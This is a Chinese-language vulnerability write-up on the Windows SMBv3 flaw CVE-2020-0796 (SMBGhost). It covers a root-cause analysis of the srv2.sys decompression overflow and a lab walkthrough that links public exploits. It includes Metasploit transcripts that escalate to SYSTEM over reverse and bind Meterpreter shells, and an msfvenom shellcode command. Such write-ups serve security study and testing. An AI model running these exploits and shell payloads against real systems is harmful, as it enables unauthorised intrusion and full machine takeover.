menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Windows chevron_right Windows SMB远程代码执行漏洞 CVE-2020-0796.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Windows SMB远程代码执行漏洞 CVE-2020-0796.md
    14.07 KB / 2021-04-15 12:15:18
        # Windows SMB远程代码执行漏洞 CVE-2020-0796
    
    ## 漏洞描述
    
    2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > SMB版本 v3.1.1
    >
    > Windows 10 Version 1903 for 32-bit Systems
    > Windows 10 Version 1903 for x64-based Systems
    > Windows 10 Version 1903 for ARM64-based Systems
    > Windows Server, Version 1903 (Server Core installation)
    > Windows 10 Version 1909 for 32-bit Systems
    > Windows 10 Version 1909 for x64-based Systems
    > Windows 10 Version 1909 for ARM64-based Systems
    > Windows Server, Version 1909 (Server Core installation)
    
    ## 环境搭建
    
    在[MSDN](https://msdn.itellyou.cn/)上下载对应的存在漏洞的系统版本
    
    ![](image/windows-1.png)
    
    安装后执行命令 winver 查看系统版本,并查看是否含有 KB4551762补丁
    
    ![](image/windows-2.png)
    
    ## 漏洞复现
    
    ### 漏洞原理
    
    CVE-2020-0796漏洞存在于受影响版本的Windows驱动srv2.sys中。Windows SMB v3.1.1 版本增加了对压缩数据的支持。图2所示为带压缩数据的SMB数据报文的构成。
    
    ![](image/windows-3.png)
    
    ```
    ProtocolId:4字节,固定为0x424D53FC
    OriginalComressedSegmentSize:4字节,原始的未压缩数据大小
    CompressionAlgorithm:2字节,压缩算法
    Flags:2字节,详见协议文档
    Offset/Length:根据Flags的取值为Offset或者Length,Offset表示数据包中压缩数据相对于当前结构的偏移
    ```
    
    ![](image/windows-4.png)
    
    srv2.sys中处理SMBv3压缩数据包的解压函数Srv2DecompressData未严格校验数据包中OriginalCompressedSegmentSize和Offset/Length字段的合法性。而这两个字段影响了Srv2DecompressData中内存分配函数SrvNetAllocateBuffer的参数。如图4所示的Srv2DecompressData函数反编译代码,SrvNetAllocateBuffer实际的参数为OriginalCompressedSegmentSize+Offset。这两个参数都直接来源于数据包中SMB Compression Transform Header中的字段,而函数并未判断这两个字段是否合法,就直接将其相加后作为内存分配的参数(unsigned int类型)。
    
    ![](image/windows-5.png)
    
    这里,OriginalCompressedSegmentSize+Offset可能小于实际需要分配的内存大小,从而在后续调用解压函数SmbCompressionDecompress过程中存在越界读取或者写入的风险。
    
    ```
    目前已公开的针对该漏洞的本地提权利用包含如下的主要过程:
    (1)验证程序首先创建到SMS server的会话连接(记为session)。
    (2)验证程序获取自身token数据结构中privilege成员在内核中的地址(记tokenAddr)。
    (3)验证程序通过session发送畸形压缩数据(记为evilData)给SMB server触发漏洞。其中,evilData包含tokenAddr、权限数据、溢出占位数据。
    (4) SMS server收到evilData后触发漏洞,并修改tokenAddr地址处的权限数据,从而提升验证程序的权限。
    (5)验证程序获取权限后对winlogon进行控制,来创建system用户shell。
    ```
    
    首先,看一下已公开利用的evilData数据包
    
    ![](image/windows-6.png)
    
    ```
    数据包的内容很简单,其中几个关键字段数据如下:
    
    OriginalSize :0xffffffff
    Offset:0x10
    Real compressed data :13字节的压缩数据,解压后应为1108字节’A’加8字节的token地址。
    SMB3 raw data :实际上是由2个8字节的0x1FF2FFFFBC(总长0x10)加上0x13字节的压缩数据组成
    ```
    
    从上面的漏洞原理分析可知,漏洞成因是Srv2DecompressData函数对报文字段缺乏合法性判断造成内存分配不当。在该漏洞数据包中,OriginalSize 是一个畸形值。OriginalSize+ Offset = 0xffffffff + 0x10 = 0xf 是一个很小的值,其将会传递给SrvNetAllocateBuffer进行调用,下面具体分析内存分配情况。SrvNetAllocateBuffer的反编译代码
    
    ![](image/windows-7.png)
    
    由于传给SrvNetAllocateBuffer的参数为0xf,根据SrvNetAllocateBuffer的处理流程可知,该请求内存将从SrvNetBufferLookasides表中分配。这里需要注意的是,变量SrvDisableNetBufferLookAsideList跟注册表项相关,系统默认状态下SrvDisableNetBufferLookAsideList为0。
    
    ![](image/windows-8.png)
    
    SrvNetBufferLookasides表通过函数SrvNetCreateBuffer初始化,实际SrvNetCreateBuffer循环调用了SrvNetBufferLookasideAllocate分配内存,调用SrvNetBufferLookasideAllocate的参数分别为[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]。在这里,内存分配参数为0xf,对应的lookaside表为0x1100大小的表项。
    
    ![](image/windows-9.png)
    
    SrvNetBufferLookasideAllocate函数实际是调用SrvNetAllocateBufferFromPool来分配内存
    
    ![](image/windows-10.png)
    
    在函数SrvNetAllocateBufferFromPool中,对于用户请求的内存分配大小,内部通过ExAllocatePoolWithTag函数分配的内存实际要大于请求值(多出部分用于存储部分内存相关数据结构)。以请求分配0x1100大小为例,经过一系列判断后,最后分配的内存大小allocate_size= 0x1100 + E8 + 2*(MmSizeOfMdl + 8)。
    
    ![](image/windows-11.png)
    
    内存分配完毕之后,SrvNetAllocateBufferFromPool函数还对分配的内存进行了一系列初始化操作,最后返回了一个内存信息结构体指针作为函数的返回值。
    
    ![](image/windows-12.png)
    
    这里需要注意如下的数据关系:SrvNetAllocateBufferFromPool函数返回值return_buffer指向一个内存数据结构,该内存数据结构起始地址同实际分配内存(函数ExAllocatePoolWithTag分配的内存)起始地址的的偏移为0x1150;return_buffer+0x18位置指向了实际分配内存起始地址偏移0x50位置处,而最终return_buffer会作为函数SrvNetAllocateBuffer的返回值
    
    ![](image/windows-13.png)
    
    回到漏洞解压函数Srv2DecompressData,在进行内存分配之后,Srv2DecompressData调用函数SmbCompressionDecompress开始解压被压缩的数据
    
    ![](image/windows-14.png)
    
    实际上,该函数调用了Windows库函数RtlDecompressBufferEx2来实现解压,根据RtlDecompressBufferEx2的函数原型来对应分析SmbCompressionDecompress函数的各个参数。
    
    ```
    SmbCompressionDecompress(CompressAlgo,//压缩算法
    Compressed_buf,//指向数据包中的压缩数据
    Compressed_size,//数据包中压缩数据大小,计算得到
    UnCompressedBuf,//解压后的数据存储地址,*(alloc_buffer+0x18)+0x10
    UnCompressedSize,//压缩数据原始大小,源于数据包OriginalCompressedSegmentSize
    FinalUnCompressedSize)//最终解压后数据大小
    ```
    
    从反编译代码可以看出,函数SmbCompressionDecompress中保存解压后数据的地址为*(alloc_buffer+0x18)+0x10的位置,根据内存分配过程分析,alloc_buffer + 0x18指向了实际内存分配起始位置偏移0x50处,所以拷贝目的地址为实际内存分配起始地址偏移0x60位置处。
    
    在解压过程中,压缩数据解压后将存储到这个地址指向的内存中。根据evilData数据的构造过程,解压后的数据为占坑数据和tokenAddr。拷贝到该处地址后,tokenAddr将覆盖原内存数据结构中alloc_buffer+0x18处的数据。也就是解压缩函数SmbCompressionDecompress返回后,alloc_buffer+0x18将指向验证程序的tokenAddr内核地址
    
    ![](image/windows-15.png)
    
    ![](image/windows-16.png)
    
    继续看Srv2DecompressData的后续处理流程,解压成功后,函数判断offset的结果不为0。不为0则进行内存移动,内存拷贝的参数如下:
    
    ```
    memmove(*(alloc_buffer+0x18),SMB_payload,offset)
    ```
    
    此时alloc_buffer+0x18已经指向验证程序的tokenAddr内核地址,而SMB_payload此时指向evilData中的权限数据,offset则为0x10。因此,这个内存移动完成后,权限数据将写入tokenAddr处。这意味着,SMS Server成功修改了验证程序的权限,从而实现了验证程序的提权!
    
    还有一个细节需要注意,在解压时,Srv2DecompressData函数会判断实际的解压后数据大小FinalUnCompressedSize是否和数据包中原始数据大小OriginalCompressedSegmentSize一致
    
    ![](image/windows-17.png)
    
    按理来说实际解压后的数据大小为0x1100,不等于数据包中的原始压缩数据大小0xffffffff,这里应该进入到后面内存释放的流程。然而,实际上在函数SmbCompressionDecompress中,调用RtlDecompressBufferEx2成功后会直接将OriginalCompressedSegmentSize赋值给FinalUnCompressedSize。这也是该漏洞关于任意地址写入成功的关键之一。
    
    ![](image/windows-18.png)
    
    ###  CVE-2020-0796 目标探测(奇安信)
    
    使用奇安信的漏洞扫描来探测
    
    [奇安信 CVE-2020-0796 扫描下载](http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip)
    
    ![](image/windows-19.png)
    
    ### CVE-2020-0796 蓝屏EXP
    
    [Github CVE-2020-0796 蓝屏EXP 下载](https://github.com/eerykitty/CVE-2020-0796-PoC)
    
    运行脚本后目标成功蓝屏
    
    ![](image/windows-20.png)
    
    ### CVE-2020-0796 本地提权EXP
    
    [Github CVE-2020-0796 本地提权EXP 下载](https://github.com/danigargu/CVE-2020-0796)
    
    运行应用程序后弹出cmd窗口为 system权限
    
    ![](image/windows-21.png)
    
    或者使用 MSF的内置EXP windows/local/cve_2020_0796_smbghost 来本地提权 
    
    ```
    msf6 exploit(multi/handler) > set lhost 192.168.142.19
    lhost => 192.168.142.19
    msf6 exploit(multi/handler) > exploit 
    
    [*] Started reverse TCP handler on 192.168.142.19:4444 
    [*] Sending stage (200262 bytes) to 192.168.142.61
    [*] Meterpreter session 2 opened (192.168.142.19:4444 -> 192.168.142.61:51757) at 2020-11-08 15:28:20 +0800
    
    meterpreter > 
    meterpreter > getuid
    Server username: DESKTOP-RL1VAD8\wy
    meterpreter > background
    msf6 exploit(multi/handler) > search cve_2020
    
    Matching Modules
    ================
    
       #  Name                                                          Disclosure Date  Rank       Check  Description
       -  ----                                                          ---------------  ----       -----  -----------
       0  auxiliary/admin/sap/cve_2020_6287_ws_add_user                 2020-07-14       normal     Yes    SAP Unauthenticated WebService User Creation
       1  exploit/linux/misc/cve_2020_13160_anydesk                     2020-06-16       normal     Yes    AnyDesk GUI Format String Write
       2  exploit/windows/local/cve_2020_0668_service_tracing           2020-02-11       excellent  No     Service Tracing Privilege Elevation Vulnerability
       3  exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move  2020-03-10       excellent  Yes    Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
       4  exploit/windows/local/cve_2020_0796_smbghost                  2020-03-13       good       Yes    SMBv3 Compression Buffer Overflow
    
    
    Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/local/cve_2020_0796_smbghost                                                                                
    
    msf6 exploit(multi/handler) > use 4
    [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
    msf6 exploit(windows/local/cve_2020_0796_smbghost) > show options 
    Module options (exploit/windows/local/cve_2020_0796_smbghost):
    
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       SESSION                   yes       The session to run this module on.
    
    Payload options (windows/x64/meterpreter/reverse_tcp):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     192.168.142.19   yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Windows 10 v1903-1909 x64
    
    
    msf6 exploit(windows/local/cve_2020_0796_smbghost) > set session 2
    session => 2
    msf6 exploit(windows/local/cve_2020_0796_smbghost) > check 
    [*] The target appears to be vulnerable.
    msf6 exploit(windows/local/cve_2020_0796_smbghost) > exploit 
    
    [*] Started reverse TCP handler on 192.168.142.19:4444 
    [*] Executing automatic check (disable AutoCheck to override)
    [+] The target appears to be vulnerable.
    [*] Launching notepad to host the exploit...
    [+] Process 908 launched.
    [*] Reflectively injecting the exploit DLL into 908...
    [*] Injecting exploit into 908...
    [*] Exploit injected. Injecting payload into 908...
    [*] Payload injected. Executing exploit...
    [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
    [*] Sending stage (200262 bytes) to 192.168.142.61
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    
    ```
    
    ### CVE-2020-0796 RCE EXP
    
    [Github CVE-2020-0796 RCE EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)
    
    msfvenom生成reversed shellcode
    
    ```
    msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
    ```
    
    将生成exp.py中的shellcode替换exploit.py中的shellcode
    
    ![](image/windows-22.png)
    
    ![](image/windows-23.png)
    
    > [!NOTE]
    >
    > buf 要替换为 USER_PAYLOAD
    
    使用 MSF
    
    ```
    msf5 > use exploit/multi/handler 
    [*] Using configured payload generic/shell_reverse_tcp
    msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
    payload => windows/x64/meterpreter/bind_tcp
    msf5 exploit(multi/handler) > set lport 2333
    lport => 2333
    msf5 exploit(multi/handler) > set rhost 192.168.1.110
    rhost => 192.168.1.110
    msf5 exploit(multi/handler) > exploit
    ```
    
    执行脚本即可
    
    ```
    python3 exploit.py  -ip 192.168.1.110
    ```
    
    > [!NOTE]
    >
    > 注意有蓝屏概率
    
    ## 参考文章
    
    [Windows SMB Ghost(CVE-2020-0796)漏洞分析](https://www.freebuf.com/vuls/233263.html)
    
    links
    file_download